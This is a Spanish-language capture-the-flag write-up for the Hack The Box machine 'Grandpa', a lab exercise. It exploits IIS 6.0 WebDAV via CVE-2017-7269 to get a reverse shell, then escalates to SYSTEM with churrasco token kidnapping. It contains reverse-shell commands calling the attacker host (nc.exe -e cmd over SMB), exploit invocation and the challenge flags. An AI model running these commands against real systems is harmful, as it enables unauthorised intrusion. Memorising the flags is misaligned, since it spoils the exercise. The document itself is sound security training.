the_open_door
café
ESEN

Grandpa

HackTheBoxFácilWindows10.10.10.14

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#iis#webdav#cve-2017-7269#buffer-overflow#seimpersonate#churrasco-token-kidnapping#windows-server-2003
TL;DR. El único puerto abierto es un IIS 6.0 con WebDAV. Esa versión arrastra CVE-2017-7269, un desbordamiento de búfer en la función ScStoragePathFromUrl que da ejecución remota de código sin autenticación: una reverse shell como NT AUTHORITY\NETWORK SERVICE. Ese usuario tiene SeImpersonatePrivilege, pero la máquina es un Windows Server 2003 y JuicyPotato no aplica; el exploit correcto para esa generación es churrasco (token kidnapping), que eleva a SYSTEM.

Reconocimiento

Escaneo inicial

Un ping de un paquete da la primera pista del sistema operativo por el TTL:

ping -c 1 10.10.10.14

ping a 10.10.10.14 con respuesta ttl=127

64 bytes from 10.10.10.14: icmp_seq=1 ttl=127 time=175 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El escaneo completo de puertos TCP (-p-) descubre un solo puerto abierto, el 80:

sudo nmap -p- --open --min-rate 5000 -n -Pn 10.10.10.14

nmap -p- sobre 10.10.10.14 solo encuentra 80/tcp http, con ttl 127

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

extractPorts resume el fichero -oG y deja el puerto en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.10.14 y el unico puerto abierto, el 80

Extracting information ...
IP Address: 10.10.10.14
Open ports: 80

Un solo puerto, pero suficiente. El escaneo de versión (-sCV) revela un IIS muy antiguo:

nmap -p80 -sCV 10.10.10.14

nmap -sCV: Microsoft IIS httpd 6.0 con WebDAV, título Under Construction y métodos PUT/DELETE marcados como potencialmente peligrosos

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
|_http-title: Under Construction
| http-webdav-scan:
|   Server Type: Microsoft-IIS/6.0
|   WebDAV type: Unknown
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, ...
| http-methods:
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

La clave la da nmap: Microsoft IIS 6.0 con WebDAV habilitado. IIS 6.0 es el servidor web de Windows Server 2003, una pieza descatalogada hace más de una década.

IIS 6.0 - el vector

A diferencia de Granny (su gemela, donde se abusa de los métodos PUT/MOVE de WebDAV), aquí los scripts de nmap marcan los métodos PUT/DELETE pero resultan un falso positivo: no se puede subir nada. El vector real es la versión del servicio. Una búsqueda de "IIS 6.0" en searchsploit y en el navegador apunta a un fallo concreto:

searchsploit lista múltiples exploits de buffer overflow remoto para Microsoft IIS 6.0

searchsploit devuelve varias entradas de Remote Buffer Overflow, pero los módulos que sugiere no encajan bien con esta caja. Es más fiable buscar una PoC concreta en el navegador; la búsqueda "IIS 6.0 remote buffer overflow github exploit" apunta al repositorio g0rx/iis6-exploit-2017-CVE-2017-7269:

búsqueda en Google de "IIS 6.0 remote buffer overflow github exploit" con el resultado g0rx/iis6-exploit-2017-CVE-2017-7269 resaltado

Shell como NETWORK SERVICE

CVE-2017-7269: WebDAV ScStoragePathFromUrl

CVE-2017-7269 es un desbordamiento de búfer en el componente WebDAV de IIS 6.0, concretamente en la función ScStoragePathFromUrl, que se dispara con una petición PROPFIND cuyo cabecera If: contiene una URL excesivamente larga. No requiere autenticación y permite ejecutar código con los privilegios del proceso de IIS.

Usamos el exploit público g0rx/iis6-exploit-2017-CVE-2017-7269. No hay que tomarlo como una caja negra: lo que hace internamente es armar esa PROPFIND con una cabecera If: de más de dos mil bytes que desborda el búfer, y detrás del relleno coloca shellcode que abre una reverse shell hacia la IP y puerto que le pasamos. Por eso recibe cuatro argumentos: IP y puerto del IIS, e IP y puerto de nuestro listener. Lo clonamos y lo renombramos para trabajar más cómodos:

git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269.git
mv iis6-exploit-2017-CVE-2017-7269 iis6Exploit

git clone del repositorio g0rx/iis6-exploit-2017-CVE-2017-7269 y renombrado a iis6Exploit

Cloning into 'iis6-exploit-2017-CVE-2017-7269'...
remote: Enumerating objects: 6, done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 6 (from 1)
Receiving objects: 100% (6/6), done.

$ ls
iis6-exploit-2017-CVE-2017-7269

Dentro, el fichero del exploit viene con espacios en el nombre ('iis6 reverse shell'), así que se renombra antes de nada. Ejecutarlo sin argumentos imprime la sintaxis, que es lo que dice qué hay que pasarle:

cd iis6Exploit
ls
mv 'iis6 reverse shell' iis6Exploit.py
python2 iis6Exploit.py

el ls del repositorio, el mv que quita los espacios del nombre y la ejecucion sin argumentos imprimiendo la sintaxis

README.md  'iis6 reverse shell'

usage:iis6webdav.py targetip targetport reverseip reverseport

Cuatro parámetros: IP y puerto del objetivo, IP y puerto del atacante.

Con un listener de nc a la escucha, lo lanzamos con los cuatro parámetros. En la propia salida se ve la petición PROPFIND que arma con la cabecera If: gigante (el desbordamiento), y a la vez el listener recibe la conexión:

sudo rlwrap nc -nlvp 443
python2 iis6Exploit.py 10.10.10.14 80 10.10.16.4 443

El exploit imprime el PROPFIND con la cabecera If de 1744 bytes y el listener recibe la reverse shell; whoami muestra nt authority\network service

PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa...

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.14] 1030
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
nt authority\network service

La consola entra como nt authority\network service, el contexto del application pool de IIS.

Shell como SYSTEM

SeImpersonatePrivilege en un Windows Server 2003

Enumerando los privilegios del usuario aparece la joya habitual de las cuentas de servicio de IIS:

whoami /priv
SeImpersonatePrivilege   Impersonate a client after authentication   Enabled

whoami /priv en Grandpa mostrando SeImpersonatePrivilege habilitado

SeImpersonatePrivilege suele explotarse con la familia Potato (JuicyPotato y derivados). Pero al mirar systeminfo aparece el matiz que define la caja:

OS Name:     Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version:  5.2.3790 Service Pack 2 Build 3790

Windows Server 2003. Cotejándolo con la lista de CLSID soportados del repositorio de JuicyPotato, esa generación no aparece: JuicyPotato solo cubre de Windows Server 2008 R2 en adelante (depende de los CLSID y del servicio COM que abusa), así que no sirve aquí:

systeminfo confirma Windows Server 2003 Standard Edition junto al README de JuicyPotato, cuya lista de CLSID solo llega hasta Server 2008 R2, 2012 y 2016

Buscando el exploit equivalente para esta generación, el primer resultado sigue siendo el de JuicyPotato:

la búsqueda de "windows server 2003 juicy potato privilege escalation" devuelve el articulo Privilege Escalation (Windows) JuicyPotato.exe de Binary Region

Pero al abrirlo, lo que sirve no está en el cuerpo sino al final, en la sección Related: un artículo hermano sobre churrasco.exe.

el final del articulo de JuicyPotato con la seccion Related, donde aparece el enlace a Privilege Escalation (Windows) churrasco.exe

Ese artículo describe churrasco.exe como la alternativa exacta: "JuicyPotato no es compatible con sistemas antiguos como Windows Server 2003 o Windows XP", y churrasco cubre justo ese hueco elevando de cuentas de servicio a NT AUTHORITY\SYSTEM:

entrada de blog "Privilege Escalation (Windows) – churrasco.exe" que describe churrasco como alternativa a JuicyPotato para Windows Server 2003/XP

El propio artículo enlaza el binario ya compilado, que se descarga en un clic:

el articulo de churrasco con el enlace de descarga resaltado y la descarga de churrasco.exe completada, 30,5 KB

Usamos entonces churrasco (repo).

Token kidnapping con churrasco

churrasco explota la técnica de token kidnapping: aprovecha SeImpersonatePrivilege para robar el token de un proceso que corre como SYSTEM y ejecutar un comando con esa identidad. Es la versión "antigua" del mismo abuso que después popularizaron los Potato.

Preparamos en local los dos binarios: churrasco.exe (descargado del repo) y un nc.exe, que localizamos en SecLists y copiamos al directorio de trabajo:

mv ~/Downloads/churrasco.exe .
locate nc.exe
cp ~/SecLists/Web-Shells/FuzzDB/nc.exe .

mv de churrasco.exe, locate nc.exe (aparece en SecLists/Web-Shells/FuzzDB) y cp al directorio; ls muestra churrasco.exe, iis6Exploit y nc.exe

$ locate nc.exe
/home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe
/home/krmena/machines/arctic/exploits/netcat/nc.exe
/home/krmena/machines/blue/exploits/nc.exe
/home/krmena/machines/blue/exploits/netcat/nc.exe
/home/krmena/machines/bounty/exploits/netcat/nc.exe
/home/krmena/machines/buff/content/nc.exe
/home/krmena/machines/devel/content/nc.exe
/usr/share/windows-resources/binaries/nc.exe

$ ls
churrasco.exe  iis6Exploit  nc.exe

Los servimos por SMB (sin smb2support, por ser un Windows tan viejo) y, con un listener listo, le pedimos a churrasco que ejecute nc.exe como SYSTEM contra nuestra IP:

smbserver.py smbFolder $(pwd)
sudo rlwrap nc -nlvp 443

En la víctima, copiamos churrasco.exe desde el recurso SMB y lo lanzamos pasándole el nc.exe accesible por SMB como comando a ejecutar:

copy \\10.10.16.4\smbFolder\churrasco.exe
.\churrasco.exe "\\10.10.16.4\smbFolder\nc.exe -e cmd 10.10.16.4 443"

(Conviene ejecutarlo un par de veces: la máquina es lenta y a veces el primer intento no engancha.)

churrasco ejecuta nc.exe como SYSTEM y se obtiene una shell con privilegios de NT AUTHORITY\SYSTEM

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.14] 1035
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\TEMP>whoami
nt authority\system

La reverse shell entra como NT AUTHORITY\SYSTEM. Con ese contexto leemos ambas flags (en la estructura de carpetas clásica Documents and Settings, abreviada como DOCUME~1):

Lectura de las flags root.txt (Administrator) y user.txt (Harry) como SYSTEM

C:\DOCUME~1>type Harry\Desktop\user.txt
bdff5ecb7c3cff817f2bedc146a5d869

C:\DOCUME~1>type Administrator\Desktop\root.txt
9359e905a2c35f861f6a57cecf28bb7b

Cadena de ataque

IIS 6.0 + WebDAV (80)
   └─ CVE-2017-7269 (BOF en ScStoragePathFromUrl)  ──►  NETWORK SERVICE (user.txt Harry)
        └─ SeImpersonatePrivilege en Windows Server 2003
             └─ churrasco (token kidnapping)  ──►  NT AUTHORITY\SYSTEM (root.txt)

Lecciones aprendidas

  • La versión es la vulnerabilidad. Aquí no hubo enumeración de directorios ni fuzzing: el nmap cantó "IIS 6.0" y eso bastó. El software descatalogado acumula CVEs críticas con exploit público.
  • El exploit de privesc depende de la versión de Windows. SeImpersonatePrivilege se explota distinto según la generación: JuicyPotato de 2008 en adelante, churrasco para 2003/XP. Confirmar systeminfo antes de elegir herramienta ahorra intentos fallidos.
  • WebDAV es superficie de ataque por sí mismo. Tanto el BOF de Grandpa como el abuso PUT/MOVE de su gemela Granny nacen del mismo componente. Si no se usa, se deshabilita.
  • Los sistemas heredados no se parchean: se aíslan o se jubilan. Un Windows Server 2003 expuesto en 2017 (o después) es indefendible; la única mitigación real es sacarlo de producción.
Cheatsheet de comandos 12 comandos

Repaso rápido